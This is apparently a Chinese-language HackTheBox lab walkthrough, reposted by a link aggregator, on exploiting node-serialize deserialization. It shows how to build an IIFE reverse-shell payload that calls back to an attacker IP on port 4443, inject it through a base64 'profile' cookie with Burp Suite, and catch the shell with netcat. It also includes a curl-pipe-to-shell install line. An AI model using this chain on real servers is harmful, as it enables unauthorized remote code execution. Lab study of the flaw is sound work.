Nodejs反序列化漏洞利用
source link: http://www.freebuf.com/articles/web/183345.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
演示环境
目标机- Hackthebox节点机(10.10.10.85:3000)
攻击者机器- Kali linux
需要的工具- nodejs, npm, [nodejs工具包],node-serialize
关于反序列化攻击
不受信任的数据被传递到 unserialize()
函数,这导致我们可以绕过 JavaScript
对象的函数表达式 IIFE
来实现任意的代码执行。首先我们在 apt-get
命令下安装nodejs包,如下所示: apt-get install nodejs
在下一步中,您需要在CURL命令下安装 npm
程序(使用npm 进一步安装 node-serialize
包),如下所示: curl -L https://www.npmjs.com/install.sh | sh
安装和配置完Nodejs和Npm之后,还要安装 node-serialize
包,输入 “ npm install node-serialize ”
,如下所示:
我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。
第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示:
第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。 这个漏洞在于,它从HTTP请求中读取一个名为 profile
的 cookie
值,并对cookie值进行base64解码,并将其传递给 unserialize()
函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
要创建一个反向shell,首先,您需要输入
“ ifconfig ”`` 找出IP ,然后运行以下命令:
python nodejsshell.py 10.10.14.145 4443`
这是最后反向shell payload的输出。
现在让我们使用以下javascript生成序列化的payload
代码如下
var y = { rce : function() {} } var serialize = require(‘node-serialize’); console.log(“Serialized: \n” + serialize.serialize(y));
用大括号 { eval(String.from ......... }
)添加上面的 payload
输出,如下所示:
将文件另存为 exploit.js
并使用node命令运行,该命令生成最终的序列化payload,如下所示: node exploit.js
现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。
然后使用Repeater发送相同的请求。
在Repeater选项中,您需要将cookie值替换为我们从上面步骤生成的base64编码值,然后单击GO按钮。
同时,确保你的netcat服务在相同的端口上监听,例如4443(它的反向shell负载端口是相同的) nc -lvp 4443
。
一旦你单击Go按钮,请求将命中到服务器,显示 200 OK
响应,并显示一条错误消息 “ 发生错误...无效的用户名类型 ”
,并立即在netcat终端中与该服务器连接,状态为 “ 已连接” “
。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK